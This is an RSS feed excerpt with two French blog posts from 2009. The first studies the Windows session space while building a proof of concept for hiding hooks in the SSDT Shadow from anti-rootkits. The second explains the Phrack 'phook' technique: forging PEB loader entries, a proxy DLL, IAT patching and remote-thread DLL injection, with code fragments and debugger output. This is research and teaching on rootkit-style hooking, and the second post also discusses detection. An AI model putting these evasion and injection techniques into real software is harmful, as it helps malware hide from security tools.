<item><title>Flirt with the session space</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Je vais aujourd'hui vous parlez d'un espace un peu spécial situé dans lekernel land ; j'ai du mener de longues recherches, des nuits dereverses et j'en passe :Tous cela parce qu'il s'agit d'un sujet qui au final reste très trèspeu documenté, on trouve très peu de précision et lorsque le sujet estabordé dans certains article, les descriptions sont plutôt sommaireLe session space, est en fait un espace session comme son noml'indique ; comme vous le savez les OS modernes sont tous capables degérer les sessions multiples ; et bien windows dédie un espace privépar session Une session est en fait un espace privé reservé pour chaqueutilisateur par exemple, le fait que plusieurs utilisateurs puissentse connecter en même temps implique alors le cloisonnement decelles-ci En fait, tous commence lorsque je me mis à rédiger un Proof of conceptconcernant la technique de xrayn Celle-ci permettait de cacher seshooks dans la SSDT/SSDT Shadow ; 90% environ des anti-rootkits étaientmis à l'echec A première vue, le code ne devrait pas trop me poser de problèmesjusqu'aumoment où je dois réaliser une copie de la SSDT ShadowEn bref la SSDT Shadow est la SSDT pour les threads qui vont gérer uneinterface graphique ; la SSDT shadow se décompose en deux parties : lapremière qui est la SSDT que l'on connait bien dite SSDT system, etla seconde est la SSDT guiUn petit dump du kd pour vous montrez ça :kd dd ntKeServiceDescriptorTable l 0x8 80559b80 804e2d2000000000 0000011c 804d8f48 80559b90 00000000 00000000 0000000000000000 kd dd ntKeServiceDescriptorTableShadow l 0xC 80559b40804e2d20 00000000 0000011c 804d8f48 80559b50 bf999400 000000000000029b bf99a110 80559b60 00000000 00000000 00000000 00000000Les threads gui peuvent alors gérer les syscalls système, et lessyscalls gui sans aller chercher les fonctions dans une autre tableSans rentrer dans les détails de la technique un article sortirabientôt concernant cette technique, lorsque que mon driver tentaitd'accéder au tableau de pointeurs sur les fonctions syscalls de win32ket ben BIM BOOOM %*et1 écran bleu Je sors alors mon kd :kd dd ntKeServiceDescriptorTableShadow l 0x880559b40 804e2d20 00000000 0000011c 804d8f4880559b50 bf999400 00000000 0000029b bf99a110kd dds pointKeServiceDescriptorTableShadow+0x4*4bf999400 bf999404 bf999408 bf99940c bf999410 bf999414 bf999418 bf99941c bf999420 bf999424 Hmm l'espace mémoire parait comme innexistant, et c'est là que leproblème s'esquisseTout ça parait plutôt floue, j'ai donc potasser un peu les Windowsinternals, c'est donc à ce moment là que je découvre le session spaceOn peux y lire :Each session has a session-specific paged pool area used by thekernel-mode portion of the Windows subsystem Win32ksys toallocate session-private GUI data structuresIn addition, each session has its own copy of the Windowssubsystem process Csrssexe and logon process WinlogonexeThe session manager process Smssexe is responsible for creatingnew sessions, which includes loading a session-private copy ofWin32ksys,creating the session-private object manager namespace, andcreating the session-specific instances of the Csrss and WinlogonprocessesWhen a process is created, this range of addresses is mapped tothe pages appropriate to the session that the process belongs toNous voilà avec quelques pistes, on se rend compte alors que la Shadown'est accessible seulement aux processus qui appartiennent à la dîtessession ; autrement dit tous les threads de ces processus auront accèsà cet tableCet à ce moment qu'il faut réfléchir un peu si l'on veut dégoterquelques informations intéressante ; on pourrait déjà regarder du cotédu gestionnaire de sessions : smssexe, ensuite du driver win32ksysj'ai donc essayé de les analyser à la recherche d'infos plus oumoins pertinenteSmssexe se charge à son initialisation de charger le driverwin32ksys :Mainsmssexe- smssSmpInit- smssSmpLoadDataFromRegistry- smssSmpLoadSubSystemsForMuSessiontext:485887B2 push offset aSystemrootSyst ;"\SystemRoot\System32\win32ksys"text:485887B7 lea eax, ebp+DestinationStringtext:485887BA push eax ; DestinationStringtext:485887BB call ds:__imp__RtlInitUnicodeString@8 ;RtlInitUnicodeStringx,xtext:485887C1 push 8text:485887C3 lea eax, ebp+DestinationStringtext:485887C6 push eaxtext:485887C7 push 26htext:485887C9 call edi ; NtSetSystemInformationx,x,x ;NtSetSystemInformationx,x,xSmssexe utilise une technique peu rencontré pour charger le driver,certains parle de "quick an dirty-way" cf Suberving the windowskernel Il suffit d'appeler NtSetSystemInformation avec l'argumentSystemLoadAndCallImage ainsi que le full path du driverOn parle de dirty way, tout simplement parce que le driver sera chargédans une zone mémoire swappable, pour plus d'information chapitre 2 dubouqin :Une fois le driver lancé, celui-ci va ajouter la SSDT shadow :INIT:BF9AFF13 push offset _W32pArgumentTableINIT:BF9AFF18 push _W32pServiceLimitINIT:BF9AFF1E mov _countTable, esiINIT:BF9AFF24 push esiINIT:BF9AFF25 push offset _W32pServiceTableINIT:BF9AFF2A call ds:__imp__KeAddSystemServiceTable@20 ;KeAddSystemServiceTablex,x,x,x,xdata:BF999B00 _W32pServiceTable dd offset _NtGdiAbortDoc@4data:BF999B04 dd offset _NtGdiAbortPath@4 ; NtGdiAbortPathxdata:BF999B08 dd offset _NtGdiAddFontResourceW@24 ;NtGdiAddFontResourceWx,x,x,x,x,xdata:BF999B0C dd offset _NtGdiAddRemoteFontToDC@16 ;NtGdiAddRemoteFontToDCx,x,x,xdata:BF999B10 dd offset _NtGdiAddFontMemResourceEx@20 ;NtGdiAddFontMemResourceExx,x,x,x,xdata:BF999B14 dd offset _NtGdiRemoveMergeFont@8 ;NtGdiRemoveMergeFontx,xdata:BF999B18 dd offset _NtGdiAddRemoteMMInstanceToDC@12 ;NtGdiAddRemoteMMInstanceToDCx,x,xdata:BF999B1C dd offset _NtGdiAlphaBlend@48 ;NtGdiAlphaBlendx,x,x,x,x,x,x,x,x,x,x,xdata:BF99A810 _W32pArgumentTable db 4 ; DATA XREF:DriverEntryx,x+E4odata:BF99A811 db 4data:BF99A812 db 18hdata:BF99A813 db 10hdata:BF99A814 db 14hdata:BF99A815 db 8data:BF99A816 db 0Chdata:BF99A817 db 30hAvec ce session space il y a donc une histoire d'espace qui estaccessible/existe, dans certains contexte ; en fait tous les processusd'une session voient cette table, seul system ne peux y accéder ; paranalogie c'est comme un processus avec ses dlls, system serait unprocessus sans la dll Session space c'est bien sûr une analogie,soyons d'accord : On peut verifier tout ça avec le kd ; en premier lieu se placer dansle contexte du processus System le cas de notre driver donc, et ceplacer dans le contexte d'un tout autre processus :kd process 0 0**** NT ACTIVE PROCESS DUMP ****PROCESS 817cc7c0 SessionId: none Cid: 0004 Peb: 00000000ParentCid: 0000DirBase: 00039000 ObjectTable: e1001cb0 HandleCount: 206Image: Systemkd process /i 817cc7c0You need to continue execution press 'g'  for the contextto be switched When the debugger breaks in again, you will be inthe new process contextkd gBreak instruction exception - code 80000003 first chancentRtlpBreakWithStatusInstruction:804e3b25 cc int 3kd dds pointKeServiceDescriptorTableShadow+0x4*4bf999400 bf999404 bf999408 kd process 0 0**** NT ACTIVE PROCESS DUMP ****PROCESS 81549b28 SessionId: 0 Cid: 05a8 Peb: 7ffdf000 ParentCid:0588DirBase: 093c9000 ObjectTable: e1a74620 HandleCount: 346Image: explorerexekd process /i 81549b28You need to continue execution press 'g'  for the contextto be switched When the debugger breaks in again, you will be inthe new process contextkd gBreak instruction exception - code 80000003 first chancentRtlpBreakWithStatusInstruction:804e3b25 cc int 3kd dds pointKeServiceDescriptorTableShadow+0x4*4bf999400 bf9357a3 win32kNtGdiAbortDocbf999404 bf947361 win32kNtGdiAbortPathbf999408 bf896625 win32kNtGdiAddFontResourceWbf99940c bf93ef25 win32kNtGdiAddRemoteFontToDCbf999410 bf948978 win32kNtGdiAddFontMemResourceExJ'ai donc réaliser une fonction qui permettait ça copie, celle-cifonctionne plutôt simplement, je m'attache au processus explorerexeIl faut s'attacher à un processus qui sera lancé sur le systeme ;j'ai pris explorerexe comme j'aurais pu prendre calcexe, etréalise la copie normalement vous verrez alors que mon anciennetechnique qui utilisait un apc kernel envoyé sur un thread gui étaitbien trop compliqué pour pas grand chose :Sinon, on pourrait s'occuper de mapper win32ksys dans l'espace dudriver en utilisant son adresse physique avec des apis commeMmMapIoSpace, il suffirait ensuite de parser le pe du binaire, pouratterrir dans la section data ; où est stocké la SSDT Shadowdata:BF999C00 ; Segment type: Pure datadata:BF999C00 ; Segment permissions: Read/Writedata:BF999C00 _data segment para public 'DATA' use32data:BF999C00 assume cs:_datadata:BF999C00 ;org 0BF999C00hdata:BF999C00 _W32pServiceTable dd offset _NtGdiAbortDoc@4data:BF999C00 ; DATA XREF: DriverEntryx,x+F6odata:BF999C00 ; NtGdiAbortDocxdata:BF999C04 dd offset _NtGdiAbortPath@4 ; NtGdiAbortPathxdata:BF999C08 dd offset _NtGdiAddFontResourceW@24 ;NtGdiAddFontResourceWx,x,x,x,x,xdata:BF999C0C dd offset _NtGdiAddRemoteFontToDC@16 ;NtGdiAddRemoteFontToDCx,x,x,xdata:BF999C10 dd offset _NtGdiAddFontMemResourceEx@20 ;NtGdiAddFontMemResourceExx,x,x,x,xdata:BF999C14 dd offset _NtGdiRemoveMergeFont@8 ;NtGdiRemoveMergeFontx,xdata:BF999C18 dd offset _NtGdiAddRemoteMMInstanceToDC@12 ;NtGdiAddRemoteMMInstanceToDCx,x,xdata:BF999C1C dd offset _NtGdiAlphaBlend@48 ;NtGdiAlphaBlendx,x,x,x,x,x,x,x,x,x,x,xdata:BF999C20 dd offset _NtGdiAngleArc@24 ;NtGdiAngleArcx,x,x,x,x,xdata:BF999C24 dd offset _NtGdiAnyLinkedFonts@0 ;NtGdiAnyLinkedFontsdata:BF999C28 dd offset _NtGdiFontIsLinked@4 ;NtGdiFontIsLinkedxdata:BF999C2C dd offset _NtGdiArcInternal@40 ;NtGdiArcInternalx,x,x,x,x,x,x,x,x,xdata:BF999C30 dd offset _NtGdiBeginPath@4 ; NtGdiBeginPathxUn peu tricky, mais ça se tiens, seul problème c'est la translation del'adresse Virtuelle à l'adresse Physique, étant donné que le driver nevoit pas l'espace en question, l'adresse physique ne peut êtrerécupérer avec MmGetPhysicalAddress l'idéal serait de ne pass'attacher à un processusBilan de ce post, un peu décevant, mes recherches ont été longues pourau final pas grand chosem'enfin bon :Sinan, je vous recommande le blog de bons amis, Futurezone ; le blogest mis à jour regulierement avec des articles très clean et tout,c'est que du bonheur quoiVoilà pour aujourd'hui :CopySSDTShadowcJe compte aussi sortir une version un peu plus propre de HC-L, eneffet j'ai décidé d'embarquer le NDK, de séparer les en-têtes defonctions des définitions, ajouter des fonctions etcIMAGE</description><link>http://www.secuobs.com/revue/news/104767.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104767.shtml</guid></item>
<item><title>Understand phook's internals</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Je me décide finalement à publier un petit quelque chose, malgré tous letaff que les études peuvent me demander en ce moment :Entrons dans le vif du sujet, "phook" est le nom donné à un PoCréalisé par Shearer and Dreg concernant une technique de hook peucommune, je dirais même nouvelleUn paper à d'ailleurs été publié dans la dernière issues de phrack65Après sa lecture, la mise en place de la technique reste assez floue,je decide donc de partager mon PoC même pas complet  ; celui-ci m'apermis de me rendre compte qu'au final la technique est loin d'êtreparfaite et imprenablePour situer le sujet, les auteurs nous propose de combiner de "l'iatpatching", avec leur nouvel technique donc, pour nous assurer un totalcontrôle des apisLa nouveauté dans tout cela, c'est qu'avec une simple modification dela table des importations d'un binaire, nous allons contrôlerseulement les appels "statiques", ceux qui ne seront pas résolusdynamiquementEn effet, si dans le cadre d'un hook d'iat nous retrouvons nosfonctions dynamiquement en utilisant GetModuleHandle et GetProcAddresset bien la technique devient inutileNos deux compères nous proposent alors un périple dans le PEB, pourêtre plus précis, ils nous proposent de falsifier les champs DllBase,EntryPoint et SizeOfImage des structures LDR_DATA_TABLE_ENTRY pointépar chaque entrée de la liste doublement chainéePEBLdrInLoadOrderModuleListVoici sa structure :lkd dt nt_LDR_DATA_TABLE_ENTRY+0x000 InLoadOrderLinks : _LIST_ENTRY+0x008 InMemoryOrderLinks : _LIST_ENTRY+0x010 InInitializationOrderLinks : _LIST_ENTRY+0x018 DllBase : Ptr32 Void+0x01c EntryPoint : Ptr32 Void+0x020 SizeOfImage : Uint4B+0x024 FullDllName : _UNICODE_STRING+0x02c BaseDllName : _UNICODE_STRING+0x034 Flags : Uint4B+0x038 LoadCount : Uint2B+0x03a TlsIndex : Uint2B+0x03c HashLinks : _LIST_ENTRY+0x03c SectionPointer : Ptr32 Void+0x040 CheckSum : Uint4B+0x044 TimeDateStamp : Uint4B+0x044 LoadedImports : Ptr32 Void+0x048 EntryPointActivationContext : Ptr32 Void+0x04c PatchInformation : Ptr32 VoidPour rappel, cette liste stocke les modules chargés par un binairedans l'ordre de chargement en mémoire, on est donc censé trouvé enpremier lieu ntdlldll bien sur suivit de kernel32dll etc :kd process 0 0 calcexePROCESS 814ad740 SessionId: 0 Cid: 01a4 Peb: 7ffdb000 ParentCid: 05bcDirBase: 0d88d000 ObjectTable: e15ccbc0 HandleCount: 37Image: calcexekd process 814ad740Implicit process is now 814ad740WARNING: cache forcedecodeuser is not enabledkd pebPEB at 7ffdb000InheritedAddressSpace: NoReadImageFileExecOptions: NoBeingDebugged: NoImageBaseAddress: 01000000Ldr 001a1e90LdrInitialized: YesLdrInInitializationOrderModuleList: 001a1f28  001a2d18LdrInLoadOrderModuleList: 001a1ec0  001a2d08LdrInMemoryOrderModuleList: 001a1ec8  001a2d10Base TimeStamp Module1000000 3b7d8410 Aug 17 22:52:32 2001 C:WINDOWSsystem32calcexe7c910000 4125331a Aug 20 01:09:14 2004 C:WINDOWSsystem32tdlldll7c800000 4623a01c Apr 16 18:11:08 2007 C:WINDOWSsystem32kernel32dll7c9d0000 4125330f Aug 20 01:09:03 2004 C:WINDOWSsystem32SHELL32dll77be0000 45d97cd4 Feb 19 11:32:52 2007 C:WINDOWSsystem32msvcrtdll77ef0000 45f030c5 Mar 08 16:50:29 2007 C:WINDOWSsystem32GDI32dll7e390000 45f030c6 Mar 08 16:50:30 2007 C:WINDOWSsystem32USER32dll77da0000 412532e8 Aug 20 01:08:24 2004C:WINDOWSsystem32ADVAPI32dllPour comprendre le principe même de la technique, il faut savoir quel'api GetModuleHandle par exemple, va parser cette liste afin derécupérer l'image base d'une dll par exempleImaginer que l'on echange le champs DllBase de la dll kernel32dll,avec une dll factice ; et bien un GetModuleHandle"kernel32dll" nousrenverrais l'image base de notre dll factice C'est en fait le coeur de la technique, car celle-ci nécessitequelques pré-requis pour sa mise en placeNotre dll devra donc répondre à quelques exigences, en effet elledevra exporter le même nombre de fonctions que la dll original, avecles mêmes noms de fonctions, ainsi que les mêmes ordinauxLe premier problème auquel on est confronté, c'est alors de créer unedll qui exporte les mêmes noms de fonctions que kernel32dll parexemple, en effet si l'on veut créer une exportation pourGetModuleHandle par exemple, et bien, bien sur le compilateur nouscrie dessus étant donné que cette fonction est déjà définie/déclaréedans les headers windowsNos amis utilisent alors des fichiers de définitions def à lier aubinaire lors de l'édition des liens avec mingw c'est l'option --def,et avec vc c'est /DEF:Par exemple, pour exporter GetModuleHandleA, nous définirons/déclareronsla fonction comme suit :DLLEXPORT void GetModuleHandleA_{//do the stuff}Et notre fichier de définitions sera comme cela :LIBRARY kernel32EXPORTSGetModuleHandleA=GetModuleHandleA_ @ 29Ou 29 est l'ordinal d'exportation Vous devez commencer à comprendre que notre dll, va être ni plus nimoins qu'une espèce de proxy entre le binaire, et la véritable dll ;cependant si l'appel nous intéresse nous le ré-définirons à notreguise, et nous appellerons l'api originel, à la manière d'un hookdoncLe second problème, est alors de retrouver l'adresse de cette apioriginel, pour cela nous utiliserons une macro qui grosso-modoréalisera :GetProcAddressGetModuleHandleA"kernel32_dll", "NotreApi"Ou kernel32_dll est le nom de NOTRE dll, car si vous reflechissez 30secondes, une fois que le PEB hook aura été réalisé, et bien lesimages bases auront été echangées ; or il nous faut récupérer l'imagebase de la véritable dll, ce qui sera donc obtenu avecGetModuleHandleA"Kernel32_dll" La macro proposée par les auteurs est la suivante :unsigned long tmp;#define JMP lib, func  __asm  "pushad " " push edx " " push %1 " " call eax " " pop edx " " push %2 " " push eax " " call edx " " mov %4, eax " " popad " : : "a" GetModuleHandle , "g" lib , "g" func , "d" GetProcAddress , "g" tmp ; asm  "jmp %0" : : "g" tmp ;Je vous l'accorde ça pique les yeux, c'est très moche, mais ça compileavec mingw avec l'option de compilation -masm=intel c'est pour celaque je n'ai pas transposé cette macro à coup de _asm compilableseulement avec vcppLa macro réalise donc une sauvegarde des registres avec unpushad/popad afin de préserver l'environnement dont nécessite l'api,nous stockons l'adresse de la véritable api dans une variable, etenfin nous sautons sur l'apiCette dernière étape soulève un problème un peu plus important,celui-ci se situe au niveau de la pile et donc des argumentsIl faut être, dans ce code, capable de fournir une pile propre, etutilisable par l'api et cela sans passer par un prototype spécifique ;en effet toutes les fonctions qui nous intéresserons pas, leursprototypes seront :void MaFonction_;En tant normal, une tel fonction n'est pas censé recevoir de paramètre,cependant une option nous permet de réaliser cela, et donc de trouverune solution à notre problème : il faut compiler avec l'option-fomit-frame-pointerC'est en fait, le problème le plus délicat à résoudre dans ce projet,je ne sais pas si il est d'ailleurs possible de procéder autrement,j'ai simplement suivie la technique proposé par nos hookeurs de pebJ'ai d'ailleurs tenté de compiler le code sans spécifiée l'option, etil semblerait que le tout fonctionne toujourssi quelqu'un peut m'éclairerà ce niveau là :Bon, une fois réalisé tout cela, nous obtenons un contrôle sur larésolution dynamique des apis ; si nous voulons obtenir un contrôletotal, il faut mettre en place une reconstruction de la table d'importationdu binaire, afin de faire pointer les importations de kernel32dllvers NOTRE dllEt enfin, il faut aussi reconstruire les tables des importations desautres modules que notre binaire utilisent, à condition que ceux ciimportent des fonctions de kernel32dll ; tous cela dans le but de lesrediriger vers NOTRE dll  Et dans ce cas là, nous avons le contrôlesur tous les appels fait sur les apis de kernel32dllMaintenant, il reste deux/trois détails à résoudre, en effet si l'onveut pouvoir intercepter tous les appels de fonctions en destinationde kernel32dll, nous devons créer le processus dans un état suspendu,à ce moment là on peut enfiler notre casquette "trappeur de PEB" etcorrompre les différents champsC'est pour moi le point faible de la technique, en effet il fautpouvoir créer le processus pour pouvoir mettre en place correctementl'attaqueA présent parlons implémentation, dreg et shearer ont choisisd'injecter un code qui va charger la dll celle qui va mettre en placele peb hook et la reconstructions des imports, leurs code est plutôtoriginal, il injecte en mémoire une structure formé des opcodesnécessaire au chargement de la dll ; les opcodes sont forgés à lavolée : funny :Pour ma part, j'ai tout simplement choisis de créer un thread distantsur la fonction LoadLibraryA afin de chargé ma dllCelle-ci se chargera de mettre en place le peb hook, et lareconstructions des importations du binaire, par manque d'envie jen'ai pas codé la reconstructions successive des IATs des différentsmodules chargés par le binaireConcernant leurs PoC, après l'avoir testé il semble défectueux chezmoiEn effet, au lieu d'injecter une dll réalisant le peb hook et le patchdes imports, ils ont décidés d'interfacer la mise en place de l'attaquepar le biais d'une espece de consoleVous êtes alors contraint de vous connectez à une socket, on vouspropose alors un menu n'utilisez pas putty :p enfin bon je trouveque le poc est entouré de fonction qui n'apporte pas de réel plusvalue au projet Dans la suite d'outil qu'ils nous proposent on trouve, bien sur,ungénérateur de code, celui-ci est capable de nous générer le code d'unedll avec les mêmes exportations etc ; celui-ci étant codé en C, j'aidécidé de me coder un petit script python mon premier : avec lemodule pefileCela m'a permis d'appréhender python pour finalement lacher le perl Je pense en effet qu'il est plus judicieux d'utilisé un language descript pour réaliser une tache de ce genre En lançant mon implémentation, si tout ce passe correctement, vousdevriez obtenir un dump du genre :3876  PebPwnDll implémentation par 0vercl0k, idée original deShearer et Dreg 3876 DBG RtlGetCurrentPeb : 0x7c970e893876 DBG PEB en : 0x7ffdf0003876 DBG PEB_LDR_DATA en : 0x361e903876 DBG LDR_DATA_TABLE_ENTRY : 361ec03876 DBG LDR_DATA_TABLE_ENTRY : 361f183876 DBG LDR_DATA_TABLE_ENTRY : 361fc03876 DBG LDR_DATA_TABLE_ENTRY : 3620603876 DBG LDR_DATA_TABLE_ENTRY : 3621003876 DBG LDR_DATA_TABLE_ENTRY : 3622d03876 DBG LDR_DATA_TABLE_ENTRY : 3623283876 DBG LDR_DATA_TABLE_ENTRY : 3623c838763876 DBG LDR_DATA_ENTRY_TABLE de la dll hook : 0x3622d03876 ImageBase : 0x623c00003876 EntryPoint : 0x623c10003876 SizeOfImage : 0x9f00038763876 DBG LDR_DATA_ENTRY_TABLE de la dll hooké : 0x361fc03876 ImageBase : 0x7c8000003876 EntryPoint : 0x7c80b5be3876 SizeOfImage : 0x10500038763876 DBG Kernel32dll en 0x623c00003876 DBG Eat dumped 3876 DBG Patch de l'iat du binaire3876 DBG Patch de l'iat du binaire, concernant la dll'kernel32dll'3876 DBG Patch du binaire terminé3876 DBG Attaque complètePour tester la mise en place de la technique, j'ai tout simplementrajouter une MessageBox lors d'un appel à l'api BeepSi vous voulez tracer le binaire pour constater le fonctionnement,j'ai glissé une int 3, il vous suffit donc de définir OllyDbg commeJIT debuggerMaintenant, on peut s'interroger si la technique est utilisable dansle cadre d'un malwarej'aurais tendance à dire oui bien sur,seulement un peb hook reste très simple à détecter : il suffit deconstater les champs DllBase/EntryPoint/SizeOfImage en mémoire, etceux du binaire en dur On se rend vite compte que sa mise en placeest aussi contraignante, car beaucoup d'actions sont réalisées, et queplus il y a d'actions à réalisées, plus il y a de chances pour quel'attaque tombe à l'eau si l'une d'entres elles echoue, c'est latechnique entière qui se voit tomber en miettesCependant, une technique de ce type peut-être intéressante pourvirtualiser certaines apis les auteurs en parlent en fin de leurarticle ou encore pour réaliser un traceur d'api ; c'est peut-être unpeu lourd je vous l'accordeEnfin bref, c'est vraiment un article que j'ai ADORE, jouer commecela avec des structures accessible en userland c'est vraiment destechniques que je kiffe :Il est temps de lacher les sources, pour cette fois je vous fait unearchive contenant source et binaire :UnderstandPhooksInternalszipSinan voici quelques liens en vrac :* http://mysteriefr/blog/ - Des bons ptits posts =D* http://phrackorg/issueshtmlissue=65etid=10#article - Phook enfrançais ici* http://msdnmicrosoftcom/en-us/library/d91k01shVS80aspx - unpeu de documentation sur les fichiers de définitions* http://dkbzaorg/pefile/pefilehtml - L'implémentation du modulepython pefile* http://fz-corpnet/p=147 - IIS iz evil* http://wwwrootkitcom/newsreadphpnewsid=952 - du lourd Voilà, j'en ai finis pour aujourd'hui, en espérant que ça vous auraplu ;IMAGE</description><link>http://www.secuobs.com/revue/news/104766.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104766.shtml</guid></item>
</channel>
</rss>
 
